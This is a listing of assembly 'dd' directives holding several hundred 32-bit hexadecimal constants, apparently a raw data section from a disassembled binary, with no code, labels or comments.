		dd 0B905F1CCh, 0C9DC3C94h, 75A7CF8Eh, 0E76E1A96h, 0DF9FED05h
		dd 4D62350Fh, 8A2E81F1h, 9EDEF16h, 2D6775CEh, 0A0D1463Ah
		dd 78B080CBh, 0F7F11934h, 0CBBC2789h, 0F684CB7Ch, 97FDBBB2h
		dd 3167E7C6h, 608A9F0Bh, 60DF6041h, 2D3B1C4Bh, 1FBDC07Ah
		dd 726F3B09h, 52A77A44h, 7EDF341Bh, 0B7ADEACCh,	74CBA433h
		dd 0F8A985CEh, 6B482519h, 0C1FF7414h, 0FBE0818Bh, 0DE7AB7D7h
		dd 82D12502h, 227A8D4h,	0C3F26713h, 655A1FDh, 2416BAE5h
		dd 5350311Ah, 3F923561h, 0CE19C824h, 0C623F102h, 5F17A7F4h
		dd 2A097259h, 7CD2D151h, 2A37A6BAh, 0E1651956h,	87E4EF56h
		dd 2A2FCB6Ch, 0FC178E0Ah, 0B55A42C8h, 70D134F8h, 982A5A2Bh
		dd 6FBB24F8h, 49043B01h, 0AB1496C9h, 0EADE4238h, 0E2571218h
		dd 700C5CEBh, 0AD5B0EF0h, 229C1C50h, 6999BA9Fh,	0E7012536h
		dd 1433DFD3h, 0BEE2DBCCh, 0DA08BD16h, 0E53695DAh, 63BCDE8h
		dd 0DBE138D9h, 10A5377Dh, 0C20950D5h, 0C25C7605h, 452C93F7h
		dd 30D41638h, 63802078h, 0A0C745ADh, 0E6DB046Fh, 0D6DD7485h
		dd 6D6CD2B5h, 0D0F95812h, 8D49DDFEh, 1248B065h,	0AA46FEC6h
		dd 0A5F9AD1Eh, 51992C7Fh, 53EFC770h, 12D9938h, 0D0BF6C79h
		dd 30A1CFF1h, 8CE01686h, 85C39218h, 0E78DDE2h, 7261F678h
		dd 6091B558h, 9F0636EDh, 0B69CF0A2h, 0D4D8A67Fh, 7DC86B5Bh
		dd 194AF53Dh, 75FDC5Eh,	0D8543ED7h, 0CDBB9FACh,	0F20140E4h
		dd 6BC5FF9Bh, 0C9B1D26Eh, 3854DF18h, 460A70h, 0C29D8C50h
		dd 0BA012DD2h, 0B5DCB854h, 1498ACAAh, 90280123h, 134E17Eh
		dd 44115A75h, 49E9DD9Bh, 91017D29h, 544ED3E6h, 6EC7FCBAh
		dd 2B657588h, 4DC4CFAh,	2C4E5726h, 67130493h, 5AC3006Eh
		dd 0AFD6D9B9h, 1A3882C8h, 214E1332h, 0F718D0B7h, 1A825911h
		dd 0F60CA84Bh, 84A95EA1h, 82101C20h, 8ACF95FAh,	0FB3166C6h
		dd 0BC4DEDEAh, 36DF01CFh, 52B51B6h, 0CB77F73h, 0BB7D5BFDh
		dd 54C4FDFh, 1370C4B7h,	0B98386CFh, 0F1B83E69h,	6B6E58DFh
		dd 0B9087h, 96417438h, 7E490916h, 5A06A01Eh, 0ABEBDB3Eh
		dd 9E81B5DEh, 3AD70CF9h, 934FFFAFh, 67B11D4Ah, 3B663DA6h
		dd 15F1A07Fh, 7A7BC049h, 0E3F2B914h, 27DE5D89h,	12DD5902h
		dd 72402FBDh, 0E171BCF8h, 431816AFh, 3E271EFAh,	164FCDD2h
		dd 9D9E51FDh, 8B9F59Fh,	41BAB3FAh, 65E68B6Ah, 7EFFD4B1h
		dd 8E8B4AF9h, 67945CD5h, 665CCB35h, 412640C3h, 6F12A79h
		dd 49E62F81h, 0C174D43Eh, 0CABCDB37h, 0C5FF1A6Fh, 45C31230h
		dd 0E18442F0h, 0E05225B8h, 8CF92B3Dh, 5C9F486h,	0A01157F3h
		dd 0F3F9FCF2h, 0DF932805h, 0DA93458Fh, 6DF4580Bh, 695B4F94h
		dd 0A5035E5Eh, 777AAB0Ah, 2E799854h, 58737BFFh,	9257D77h
		dd 35CFB825h, 0CEC870C8h, 92A7B060h, 0C1A48553h, 6C21F2C7h
		dd 50E19916h, 0A3E4A5F5h, 8AFB2E60h, 0E9E9B619h, 0C0D34589h
		dd 487030D1h, 0AD45E32h, 265F0865h, 0FF648181h,	0A7644BDFh
		dd 0E04EE593h, 5D959ADh, 8234F3Fh, 3BB01148h, 478C8CF7h
		dd 286320A4h, 0A6DA930Ah, 0E920576Dh, 0DFA6CC5Eh, 1BCA8E02h
		dd 0FD07B976h, 83F6FB36h, 8DB3AE27h, 0A7358420h, 34692B19h
		dd 0BA7E938Ch, 0B2897CCDh, 0B4DA4E04h, 0E8692842h, 0F1DE0EBCh
		dd 8D029387h, 6CB1D049h, 295CFAD8h, 22CF2594h, 1E4541EAh
		dd 82D66B49h, 17474ABAh, 5921F118h, 1463F77Bh, 0E14F7B13h
		dd 45CA85B6h, 302336E9h, 3703225Fh, 32C05F48h, 9C691C6h
		dd 0B626689Ch, 3431B33Dh, 6C1D417Eh, 8CFEC4C9h,	3FCFEEDBh
		dd 0A381749Fh, 0B9434AD9h, 0B4AE138Ah, 0D7155546h, 2E7EDBC4h
		dd 6114A1A8h, 2ED6A4AAh, 0E37DDDD1h, 4A8074C9h,	42481A7Dh
		dd 697BE9E1h, 2ED644BEh, 9B5DBC55h, 0A3A59C51h,	0DD78C36Ch
		dd 199EBF00h, 8A104539h, 6B02EC04h, 559AA4D7h, 0E45C69F3h
		dd 0A3A47B0Eh, 52E1843Ah, 42FDEA50h, 30AE4F23h,	0DCD3E996h
		dd 0FD7614FDh, 7B8A3904h, 41CDD4AAh, 0AAB5C525h, 38A897E9h
		dd 6A360495h, 16814D38h, 35AF7DDFh, 0B218713Fh,	14B6CF68h
		dd 6DAA8FE5h, 8E1500E6h, 9D94F415h, 97FA81D0h, 0C48FA1C7h
		dd 0E035C4D3h, 0E362F0E3h, 31F5B9EAh, 0AE8831C1h, 0B97D73Dh
		dd 0EF5F1DCh, 0A54E86A8h, 0E5EEB046h, 387F6C5Fh, 75DE5099h
		dd 398AE713h, 8098F84Bh, 0B59B7B11h, 9F449DB6h,	9F9C56AEh
		dd 0FB6AF96Dh, 1A7A386Dh, 93AA749h, 1A228455h, 42234262h
		dd 7A4129AEh, 0E6427ED7h, 0C435AFB8h, 147A5DA3h, 709A0973h
		dd 91B325C2h, 978280CDh, 1143EAC5h, 0DEFB6FE8h,	9C68FFB2h
		dd 2C248BDEh, 9038ED78h, 0E1B75874h, 37E6AB3Eh,	0C2337014h
		dd 0B9D34693h, 47574786h, 61E6B8Ch, 0AB6706B9h,	2C5E00B1h
		dd 4D13F32Fh, 4CCDFFD8h, 60185065h, 41AF20E1h, 0D92F298Dh
		dd 0F9230113h, 9588E5AAh, 37DDB0Ah, 7A5362A7h, 605F621Eh
		dd 19DDD087h, 8477160Ch, 0F9793DF2h, 912185FDh,	0FF88BA8Dh
		dd 8ED1EBCFh, 9DEA6082h, 8054D592h, 28451035h, 2C739EA8h
		dd 3DF6F1E6h, 38A9130Eh, 0E2DE2F76h, 0BED9E52Fh, 0F4B77D87h
		dd 0FC5AACE8h, 0DCEEAA19h, 32532D9Fh, 0A13EA367h, 5874DE93h
		dd 37D2B714h, 0EE8452C9h, 162AD9Eh, 930ED4B9h, 3AA3A644h
		dd 0E929D164h, 65F2843Fh, 6756187Fh, 0DB71819Ch, 457D168Dh
		dd 0D91AD7FFh, 8327774Eh, 88B7C744h, 0EC07E06Dh, 1A3717DDh
		dd 1498F77Ch, 8E26F2C8h, 5D69BBA8h, 191F7A4h, 6789BAB0h
		dd 66FB0041h, 0BE05107Fh, 0B5E9522Bh, 0A07D83E5h, 0F2949653h
		dd 9BCFE5C5h, 0E244C5DAh, 13A59573h, 324B4E5h, 0A5084CD3h
		dd 22F7A371h, 0F74A3BEDh, 83323403h, 0E232DA5Eh, 8F07090Eh
		dd 0F1A10782h, 0FDE019C1h, 0FB99631Fh, 8A04E69h, 7C88BC34h
		dd 7C1734DEh, 0BB51E025h, 2B17C63Bh, 6BA5010Fh,	6E435BADh
		dd 4612E26h, 34A4817Ch,	0B4AF3929h, 0EB785CCBh,	743F97FFh
		dd 6BC44180h, 32AC413Ah, 0F04C2F7Fh, 93DB7972h,	0DFBFCABEh
		dd 0BA60AB3Ah, 0F25F8BF8h, 0E9DC3B8Fh, 0CCE08980h, 0F6EF6924h
		dd 3C311670h, 8C494972h, 0E02B3384h, 0E8F954B1h, 984FEC87h
		dd 88673485h, 898D024Dh, 51C8DF97h, 1478F14Bh, 566A45D6h
		dd 6E4955F9h, 0F41BAE48h, 0F3A68709h, 0DF01BF8Dh, 328DCF72h
		dd 18E5DF03h, 945B894Eh, 7F853FC3h, 0F9EBFC7Eh,	0B426E25h
		dd 2B1D95FCh, 4F261A5Ch, 3DCD4368h, 8F099FC0h, 92261F0Eh
		dd 5A409F16h, 0C5C17879h, 0D7E822F9h, 0E87EFD8Dh, 0FA57808Eh
		dd 396800A9h, 9FD01D60h, 0DF684790h, 96F1B3A4h,	0B40DCD79h
		dd 0DFDCFEA8h, 8F351C39h, 341CFA7Dh, 515E6A7Ch,	44423B43h
		dd 0A535DB45h, 0C7005ED3h, 221FB44Fh, 79A64921h, 0D7C5D4C3h
		dd 0E6B2B664h, 0A9F41F93h, 28F49DE2h, 41AE5231h, 10C8C4E4h
		dd 7603B63Bh, 5AA109CBh, 5736DFAAh, 0FC88DDFFh,	6FC8D60Fh
		dd 670FECAAh, 0A02943F7h, 55F1ACA6h, 0B016A36Ch, 99553955h
		dd 4D3B778h, 181BB628h,	0A7B23D99h, 1CF1C4C3h, 0AAD7387h
		dd 225C9C09h, 0A9C49DF1h, 0AE7B5B44h, 0AB2C3420h, 0BA461682h
		dd 94014BF2h, 0D3AD154Fh, 69103C6Dh, 81FF7728h,	0A12FAF2h
		dd 4BFDA8F7h, 3DFA0716h, 92516CCCh, 0FC489F8Eh,	0DCE609BEh
		dd 5899E19Fh, 9D54A017h, 5796F04Fh, 0C551CFACh,	0C1BA551Dh
		dd 74F809D7h, 379EAB5h,	4CAC161Ah, 99BA90BEh, 0D0CEADC8h
		dd 96D3ABF2h, 0FAB07CC4h
		dd 0F3BBC846h, 0C352707Fh, 94C4B2D2h, 85360F6h,	39781101h
		dd 85BA31F2h, 0AD3CCE15h, 99B46534h, 7F86AA5Ch,	4F9E86AAh
		dd 1EE09E53h, 358B5842h, 0C534EF33h, 7C9225E6h,	0DE35EA69h
		dd 0E1523EA5h, 0CBD6F6CFh, 42E3F97Ch, 0CFFD779Fh, 0B4AAFDB1h
		dd 0B08DD427h, 5A777CDh, 2948378Eh, 7EFEC94Eh, 0B1C0446Ah
		dd 2C70A7F6h, 0D0E5AAF7h, 423211DCh, 0BC32D049h, 7B0D09EAh
		dd 934A329Ah, 0B9920384h, 62984605h, 0EEF9F297h, 0A353E3A3h
		dd 0E9D0DF59h, 0FE27B3C5h, 48F98918h, 0A6010B38h, 673B70EDh
		dd 0F2CDF290h, 2C88226h, 0BA36FA9Bh, 0D20BA7D0h, 0DCA0536Ch
		dd 1230A061h, 2EC39F70h, 1A2F5812h, 0B0ECC6F0h,	0E49D1322h
		dd 0BF9B9DF6h, 39558872h, 57A68A7Ah, 91B5C5BDh,	3D564F54h
		dd 0F984E43Ah, 66E9BAB2h, 1C941E4Dh, 74EEF240h,	0E5A819B7h
		dd 0FDE77E7Ah, 32A8516Ch, 5F09EAACh, 3C28A8D4h,	0EE2BDB83h
		dd 359C7786h, 674E574h,	2FDC5C04h, 0B69C729Eh, 0C5D210ACh
		dd 0EF2BAC87h, 3C91F730h, 828B85A4h, 8047671Fh,	0E3D33C82h
		dd 8E0E502Ch, 5721715Ah, 76116259h, 5C92E09Dh, 52985018h
		dd 0A96733C5h, 0BD03B742h, 6C7E5096h, 6211861Ch, 7C3943EBh
		dd 3F8AAF37h, 112BE0F7h, 0A0151F4Ch, 0BFAA6654h, 7E895B97h
		dd 0F3A399Ah, 12321151h, 8E08D090h, 9CCB73C7h, 615D0B97h
		dd 37784381h, 0B412E204h, 62EC1C41h, 0D1688331h, 760254B4h
		dd 6C1DC8C8h, 1044ADDCh, 0F5A72FB2h, 1A9AAB7h, 2483B939h
		dd 6005F8C0h, 0FAC2FE22h, 2B33488Ch, 0D5DF1507h, 96682D8Ah
		dd 200099B7h, 4AB9A877h, 0B04243F9h, 5C831A4Ch,	2D7797DEh
		dd 780F9740h, 0C0983CBCh, 870443A9h, 8ECBBA5Bh,	0A398B45Ah
		dd 59419350h, 0DC4DBD14h, 17B7482Bh, 0D92BF753h, 15E4CB5h
		dd 4DC7882Eh, 0E4B251EDh, 969BAFBBh, 0DBB3E81Dh, 7D3C7DDCh
		dd 0BAF6EA9Dh, 0EE6189E7h, 0EE918407h, 4DFE13B0h, 0E8D09668h
		dd 7215CE2Bh, 5F4DE6A8h, 8B813743h, 0C4694060h,	4906383h
		dd 0F408701Fh, 0EAF98B6Bh, 15BE581Dh, 0C869DC4Dh, 64825454h
		dd 0DBEF436Dh, 0E71016BFh, 7FBFE9C6h, 9A8AA137h, 4FFF0A1Ch
		dd 9CD85D4Bh, 5343219Bh, 36FF8759h, 0CFBCE1BCh,	69BED649h
		dd 0D3718835h, 59744695h, 25B46A46h, 81B3ABA7h,	185B24DAh
		dd 92143D39h, 0CD642350h, 99C617F5h, 73E02DACh,	0B5953FAEh
		dd 362F59BDh, 2BC68C3Dh, 5ADEE9C0h, 25C3B1B8h, 7D3644B8h
		dd 99D8B9Eh, 0E0A7CB56h, 0C60C6D90h, 8B6CEA0Dh,	6E44967Ah
		dd 0B2ECB1D5h, 505F0C7Dh, 2CBA376Ch, 0F8F373A4h, 16B4A034h
		dd 0D6CD6816h, 5D926B9Dh, 733FC670h, 0BE0C0899h, 16B3EEE4h
		dd 0DAEE6275h, 0B01F53FAh, 55AD259Eh, 0B861CB5Dh, 4FF3C43Bh
		dd 8ED82E84h, 51F12767h, 94969776h, 0C017F1E0h,	3F6C28B1h
		dd 0AC866D9Dh, 5A43C3B8h, 556D7CA2h, 0F6C52FEDh, 96E75396h
		dd 0C41994F1h, 9CFCDBEh, 7075000Fh, 0DFE5B882h,	72FB063Dh
		dd 2AA249A4h, 0E1CD2D23h, 3B9F41F4h, 78E6577Ah,	0F6A5D38Dh
		dd 0D37ACD92h, 5EE073CDh, 4D947509h, 7347A1E4h,	104BC849h
		dd 19DF709Bh, 6EE200BEh, 0F64656E7h, 6B1E2BA9h,	649E056Ch
		dd 0EEC092F2h, 15C49A79h, 0DE6216F0h, 88B1E595h, 3EBDE246h
		dd 8513EDD0h, 0EA826EE2h, 5E33732Fh, 0F530A3DDh, 30D3FF17h
		dd 8E220986h, 0A7A5CCBEh, 1722485Dh, 0F536372Bh, 437E39C7h
		dd 2CB87A6Bh, 0DD71BA37h, 74B5E5F6h, 71C9E454h,	0AD5C5565h
		dd 4A18D753h, 50ABB2E7h, 0EC141198h, 0ECBC8C17h, 0B18D27C8h
		dd 472682B6h, 57B6F705h, 0D5B0711Dh, 0C703B94h,	0E85DBCD1h
		dd 16182AF4h, 5A3871E2h, 71C0EC02h, 44AEF8D3h, 0D67107F2h
		dd 63EA5EBCh, 4D5C9E03h, 0A4CAF4Eh, 3C5270E0h, 5E8D8CFEh
		dd 8C406630h, 0DED2C89Dh, 7B87CE55h, 90086C3Dh,	8589F685h
		dd 2B1A5567h, 0B8E3C843h, 1E6D82E0h, 8D1C75Ah, 0FF6174E8h
		dd 86D0891Fh, 3BFB492Dh, 0CA30B05Bh, 0BDFD41E5h, 0F6A8DFFFh
		dd 9436402Fh, 2A859D5Dh, 0D8964DDFh, 519428F9h,	4E435960h
		dd 507CC0A8h, 20D8F122h, 0E13B0E89h, 894F8631h,	97CA9CF7h
		dd 61E946C6h, 0D2C3731Dh, 49C16CC3h, 0E45F0095h, 0D4776C64h
		dd 9DCAEEE9h, 3A3BC9B1h, 0F7CC48EDh, 1372D4FBh,	0D8A3CFA3h
		dd 9CB6564Ah, 6AB338C0h, 16ACBC2Eh, 0FA91395Ch,	4CBCD643h
		dd 72EFB34h, 965DBEDDh,	4720BD68h, 0FF6ABF41h, 745A03E2h
		dd 87DE82F3h, 4EC04711h, 4BEA126h, 1E85A598h, 9CBEFFD3h
		dd 89E1E0B7h, 825296F4h, 0E437B80Eh, 9930A1D7h,	17C7FBE8h
		dd 0F5343B3Fh, 0A5232BB4h, 60A1B388h, 0CBC4E141h, 6D36F5EAh
		dd 945CCC41h, 7C0AAACh,	0F530F307h, 0AF3F30DBh,	88B914h
		dd 0C3FD354Dh, 9005293h, 72D03B46h, 7AC5B87Fh, 93940BAFh
		dd 1A1B6B7Ch, 0B4D8F4CCh, 17732D3Ah, 0A59430F1h, 4DDB104Fh
		dd 86D43D0h, 6CA6D7Ch, 5AB9A2DCh, 0D793EC5Eh, 1DAF413Eh
		dd 21812727h, 34507060h, 77271546h, 27364DCBh, 8B171098h
		dd 0EB2D149Eh, 130E7902h, 0E732EBFFh, 728B1160h, 0E2BF69C4h
		dd 0CF7A6BC6h, 8E83DD76h, 0ED469B66h, 91A141F8h, 8318323Bh
		dd 0C366EEF0h, 8A3A9930h, 0D451889Dh, 0AC954777h, 985760A4h
		dd 903723D1h, 272BAA86h, 5C3FFC95h, 0C3B9EC85h,	21DA31h
		dd 3E273A40h, 0A539D071h, 0D35F1DFDh, 43FCF34Ah, 0EEEAAB2Eh
		dd 0AF83D156h, 0A345C009h, 42B07797h, 527F3761h, 5B469FA1h
		dd 3408EC7Bh, 0D35E4402h, 150EA020h, 3056ABF4h,	2CEE8973h
		dd 603AC459h, 0FF2F62B1h, 70A15030h, 6E422712h,	0D3A26A0Eh
		dd 24F0FCD2h, 0E92854FEh, 13235A3h, 97A40F99h, 4EBE100Eh
		dd 0E7C3342h, 388C2071h, 0F9DBEF3Dh, 0C837E294h, 0DDC50946h
		dd 0D38A0FA5h, 0AEF3D361h, 0A922D699h, 47D31F45h, 0D00BE13Ah
		dd 45ED5B46h, 8AC7D32Bh, 0C49401E5h, 0B89E4A36h, 0EC9D6322h
		dd 405FE52Bh, 7DBC526Eh, 311BAC58h, 0F671285h, 54EC2D20h
		dd 7A197443h, 0AF457362h, 4F0418Dh, 7E1324BFh, 5CE9DFC3h
		dd 10EE3E1Eh, 2E458523h, 0C469034Fh, 5C0CD375h,	0ED72AC67h
		dd 26AD7DDAh, 0F0376FC1h, 0CB368CBBh, 76396FCAh, 0EADC4762h
		dd 8B5B0C6Ch, 0F1FB8C1Eh, 2ADBC965h, 28FD68C6h,	8D225BBAh
		dd 45BD2E85h, 6200046Eh, 0AB88D496h, 3E6CD5AAh,	0A02F3510h
		dd 606C96E7h, 87769CEBh, 6029B654h, 0E89E2DE8h,	6B37F128h
		dd 43D09BCBh, 0A345BE9Eh, 0AD94679Bh, 6B1B716Ch, 0B1F63D67h
		dd 0F98F92ECh, 653377C1h, 0E27C0D46h, 0C6128C2Eh, 0D97C5DBEh
		dd 473BE7B2h, 0AF3A766Dh, 0FF4D08B6h, 0FE4C6C7Bh, 926F2855h
		dd 0C95F9506h, 0E34C721Ch, 83752DBDh, 0EB9D64CFh, 8E67C43h
		dd 8064E125h, 0F01B9330h, 0EF8B4F8Bh, 40687CEAh, 2D249Ah
		dd 0D691B97Bh, 31785672h, 824D733Ah, 0F527F421h, 0ADD56889h
		dd 9149631Ch, 8861FB08h, 1FC82153h, 9997B778h, 0E43A1C1Ah
		dd 73237B11h, 295F3C73h, 884D23DCh, 4F901158h, 0B85D879Bh
		dd 0CD269C64h, 0E388F5E4h, 9AC9CACAh, 7C6BA2F2h, 155D427Eh
		dd 0C184ACA2h, 7ACC8F7Eh, 0F93CC385h, 0F23AA25Dh, 20AD7F4Ch
		dd 3CE691EDh, 3297FDD2h, 0EB4CB151h, 244AB38Bh,	0CE8349B1h
		dd 1B84C79Dh, 0F1AE11CAh, 0C49A7366h, 0E5559109h, 0B447B805h
		dd 498420E1h, 0B6A6B709h, 3FBEC76Eh, 0DC8DC89Eh, 38A52E0h
		dd 0B68EABE0h, 0EB1B3E3Dh, 0C4114823h, 82CA6CDCh, 4070E896h
		dd 7C6E78BFh, 9A13D83Eh
		dd 0F97CA7FEh, 956669C8h, 0E68E3FA6h, 0FABCF93Ah, 225F10F1h
		dd 0D547D012h, 9C4BBC21h, 6A6A3BCEh, 0C05D0C3Eh, 9880D9FFh
		dd 0ED4333C1h, 0FF1A30A5h, 0FEA3E961h, 7C85F305h, 0AF0DD73h
		dd 53279FBEh, 23DF8887h, 0CCCFE4E7h, 0CA672F76h, 7059EAEFh
		dd 9BA59283h, 75B099DBh, 0AC5B2041h, 1868B15Ch,	0DE1C5ADCh
		dd 38F2BF2Fh, 844EB33Fh, 27EBD64Eh, 143262E9h, 0B84B3ADBh
		dd 0B114EFF9h, 8B679D07h, 78FA41E3h, 1B0AF58Ah,	0B08329F3h
		dd 5E3559Ch, 0A4664207h, 96BFAF8h, 0BC71863h, 4DB03914h
		dd 7046CAD8h, 0D3A09791h, 0D712D9A0h, 7C153F18h, 438C27BFh
		dd 0FA174C70h, 0D2F02930h, 0DCC2C0F1h, 352CE81Dh, 46EC4D6Dh
		dd 1B7A900Fh, 0B49854B5h, 364F19B9h, 5557EC77h,	4E85D653h
		dd 7E7A0203h, 0C69352A5h, 4F16AE01h, 3E67C55Ah,	845B05AAh
		dd 0EA29A9E4h, 836EF654h, 61CA1497h, 4CE5B914h,	2EA4480h
		dd 511372C5h, 1B1F987Eh, 0BA96A90Bh, 30D8DD8h, 1EF46565h
		dd 31EF8ACFh, 2BFED6C1h, 0BAF4FD22h, 8A5F456Dh,	63CED7DCh
		dd 8417F0F7h, 9327064Ch, 3DE033FDh, 0AA6C7DA1h,	0F7C74030h
		dd 8D0611C9h, 0E74DE1CBh, 0DBD44090h, 14B759A4h, 0CE46AADDh
		dd 0F328592Eh, 26BB80C1h, 0A6668D8Dh, 1C81A7BCh, 0DA0FAB6Bh
		dd 519AC75Ch, 68308813h, 82AFCC7Bh, 0F532EED7h,	28A3C4E3h
		dd 409E20A2h, 0D31FB2C5h, 9D8D9E48h, 65A1C0A7h,	32293A18h
		dd 0F0BFACCCh, 43551806h, 71529642h, 0BE3FB34Eh, 0CD5956F7h
		dd 669A4AB2h, 37845AEAh, 38A07128h, 2132A018h, 0F60F3CC6h
		dd 6C577915h, 2308890h,	85D9EEBCh, 743DEA3Fh, 0ECAFE7B6h
		dd 2EF199C9h, 7B57CFC9h, 0DA681A15h, 7A0EE475h,	0E9F02478h
		dd 412441BAh, 2F45242Eh, 16887E6Dh, 177E91C9h, 0A1F1DBFFh
		dd 5F6FC6A8h, 460E84Ch,	0ECBB10A1h, 41223EA3h, 0E90648FFh
		dd 0BC6AF899h, 94E68397h, 0CFBD6EDAh, 5EC0D5E4h, 909949EEh
		dd 0ED2D90FAh, 0A4D46B1Ah, 0A1A1C6B7h, 0D91F5178h, 0F3E3218Dh
		dd 0F8AF7D1Eh, 0C172F830h, 61CCC651h, 1C0A9E8Dh, 36956AD4h
		dd 0E1D1B800h, 78A27AD1h, 61E5293h, 32376DAAh, 3B719CCAh
		dd 3F54E1Ch, 0B783B331h, 4FE17F29h, 0A9AF7F64h,	8F7DDD2Dh
		dd 0DFC377ECh, 8A431972h, 9ED6A6F3h, 4F288521h,	39812063h
		dd 0E6FA70D0h, 986B66F4h, 39899B56h, 3C7FE93Fh,	0D08DCCCFh
		dd 0C24C2108h, 9FB35EE3h, 0C16C2062h, 0BC02C2C6h, 69FD17EEh
		dd 0E3A24AAAh, 0E625DA6Dh, 1027238Dh, 0F1239FA2h, 6A2D164Fh
		dd 0A30BB7DFh, 0CF5C66A7h, 0C7FE37BBh, 42249403h, 0E7BC0AF8h
		dd 0B7CC4A34h, 1242165Ah, 0B041D4A3h, 31BAC970h, 678A0EA8h
		dd 0C2F0B3A8h, 3A66EF56h, 0A26C3796h, 0CD40DE99h, 35707988h
		dd 0A866C00Fh, 737EDC96h, 0D34C2143h, 1E64BFF3h, 4C0E316Ch
		dd 774ADB83h, 0C1CA59A4h, 2312A9C9h, 0A3660339h, 45C59224h
		dd 8611706Bh, 9E4320C4h, 0C8D1C069h, 0EFA4DC59h, 18B63714h
		dd 0EF301742h, 0AB2E8218h, 268D648Eh, 0CA498C20h, 946A4FBEh
		dd 0DED802DAh, 511FD427h, 42D501B0h, 4E2E3EA8h,	8345A216h
		dd 0E999DA7Bh, 0E73B2533h, 0D4967EE1h, 9196F59h, 29C09AB8h
		dd 6F02D036h, 8F961BC3h, 68356A5Fh, 0C361BA53h,	27650898h
		dd 88779DC1h, 0B37008D6h, 0A6EFC7DBh, 7108D040h, 8F3D0048h
		dd 0DD8792B1h, 0E4C21B9Ah, 183C326Ah, 21D161EFh, 0F548A4E6h
		dd 0F3E99D1h, 7F30B72Eh, 32714BF5h, 2A06A3Dh, 850FD5C2h
		dd 893B1616h, 0E5984462h, 484428A2h, 28F7EA89h,	0E310005Fh
		dd 60C6D8C2h, 2EE3B2D0h, 391F059h, 5450CD1Ch, 2E874E34h
		dd 0B2F814DCh, 0C98405B6h, 0E2EBF854h, 4FC89EE2h, 0FE58E444h
		dd 78B190ECh, 2496AABBh, 0B619EDEh, 515CE130h, 8625FF9Ch
		dd 235A367Dh, 81E2AF05h, 0A1BC1973h, 0EF31F3E4h, 0A6590B14h
		dd 89ABDCE8h, 0BE1EA5ABh, 0AD0658ECh, 381D62C4h, 2B39DAD9h
		dd 0D48B3A6Fh, 1CDF3F64h, 25259843h, 7352BF66h,	67AC603Ah
		dd 0F9BA3215h, 5FB3B600h, 0B9063C43h, 6CD2C8BDh, 2F8A159h
		dd 88200D6Ch, 0A18FD29h, 0E237ED0Ah, 0ED422D48h, 0E40D48BCh
		dd 3E6FE482h, 54F06B38h, 6D1E718Eh, 53C3489Fh, 0DAA795D2h
		dd 0E741EB9Ch, 0D43CCD7h, 0C6CBC988h, 0CF6CCA99h, 0DAE4C3DFh
		dd 830DC49Dh, 4592C876h, 730FE17Dh, 0AFA6853Bh,	0FDA53C22h
		dd 7B9BD52Fh, 0D64E6560h, 0D5433981h, 0B7A11A33h, 13393FAEh
		dd 1757646h, 0FEA50F4Dh, 394F798Fh, 1B9446A1h, 48DCB2CEh
		dd 6C58168Fh, 1FEF84D6h, 1C98179Ah, 5AB13B33h, 0F7FD01FBh
		dd 0B0189494h, 78BA9F38h, 8DD60D3h, 4A741F8h, 2B319E6Dh
		dd 86AF06B5h, 0F0CDED4h, 46F25721h, 3138EA9Ch, 0F7C1295Eh
		dd 4CDE7CA9h, 4DCB4AEDh, 0EC9C16E5h, 0A39D9193h, 0EE6EB3A4h
		dd 0B55B7358h, 84804D0Eh, 4ECC5193h, 5E666301h,	265C9AF5h
		dd 17C67005h, 0E5362EBEh, 2AB38E61h, 0D64BA20Bh, 0B194098Dh
		dd 0BCF663CAh, 95B6A7B4h, 439937FEh, 0E27650DBh, 96CEAC54h
		dd 34732AF8h, 0F412FDBAh, 0F486015Fh, 0B2FD183Ch, 0F74B49F2h
		dd 1997AB26h, 6AB86CF9h, 2AC2FA0Ch, 0ACDA7633h,	0D7261D96h
		dd 7DF52EBBh, 6052D758h, 0DF02ABBCh, 0DE6D9456h, 192B0EDAh
		dd 7565D652h, 1ECE7879h, 0D7A50A27h, 0E6CE6E34h, 1DDF65EDh
		dd 6AB324ADh, 570AC8ECh, 0FD5B9441h, 0C41307ECh, 0FE98C37Fh
		dd 0C269AA0Bh, 5F1B1A21h, 6A6772Fh, 88EC557Dh, 70FA9BD6h
		dd 1F2824EEh, 0C48DD315h, 6A8F0AA1h, 5B27787Bh,	1721B1EDh
		dd 8428D082h, 56449016h, 6B7D3469h, 9EBDBC30h, 0D33A9D1h
		dd 550B0B89h, 86340BD3h, 9EC3851Dh, 1328CA14h, 244EE523h
		dd 0A2531F1Ch, 530F7994h, 7BB2F6BFh, 8033175Eh,	12D209CAh
		dd 89039FB5h, 0EA7D66EBh, 54FEDFABh, 1381BD2Fh,	515F4E48h
		dd 3ECA895Bh, 0A7492323h, 0E99F39F8h, 3740C4FFh, 58DCF355h
		dd 0D418DDFBh, 0D2D10413h, 29DBCDC5h, 96E29308h, 0D4E0D1A3h
		dd 0C5044F8Ah, 98DD4917h, 0F9EAF315h, 33B60792h, 0F97A0F3h
		dd 308897BBh, 1046FA62h, 1B5A0C4Ch, 30F06BBAh, 0CEA57EE2h
		dd 5F2B7483h, 0F65E85F7h, 973A3944h, 9A63CE06h,	210C2275h
		dd 0A57C3661h, 181A38E0h, 91FAAA1Ah, 0FEDA68C5h, 21EB6186h
		dd 0C675B006h, 232CC2E1h, 617286D2h, 0BD8CDD90h, 8D248E2h
		dd 0C47590FBh, 54616530h, 445A8E39h, 8326874Dh,	0CDF9F28Fh
		dd 0E8026BD1h, 0CE466937h, 0E2581C2h, 69B2F649h, 0AF30D643h
		dd 3C276A15h, 0C1F5BF96h, 43154748h, 0AD87DA77h, 49EB2D67h
		dd 41D109AAh, 146A5F57h, 799C6801h, 687CB12Eh, 675FA7F4h
		dd 656DBC40h, 9B2FCFF3h, 0E0F96D0h, 621E4726h, 0C5BADD18h
		dd 0EA278D74h, 639768FAh, 0ECEB277Ah, 301E4F68h, 3DE76B29h
		dd 838FD93Ah, 78E923CEh, 6EEE5811h, 7AD2C9C4h, 5EDC150h
		dd 60AE6D38h, 5DA3442Bh, 1D5590Dh, 7CBB9EE0h, 0B69A16F9h
		dd 0F958A685h, 0A03A984Bh, 6C1B6EC7h, 0A87D02D0h, 68C629C1h
		dd 74E35CFAh, 89530278h, 46AA601Ch, 49A640E0h, 758C452Eh
		dd 0B22C033Dh, 5592A293h, 5FEDAF5Eh, 0B036FBB1h, 0EBE10441h
		dd 6192FD0Dh, 0AFA21583h, 5C6C869h, 0E0305EEEh,	35E6DFC2h
		dd 0C299CE7Ah, 0C25BF13Ah, 95D20422h, 75DC68D4h, 226E54C5h
		dd 0C9B161BFh, 6D1032A5h, 23910FFBh, 9F23B673h,	90B633ABh
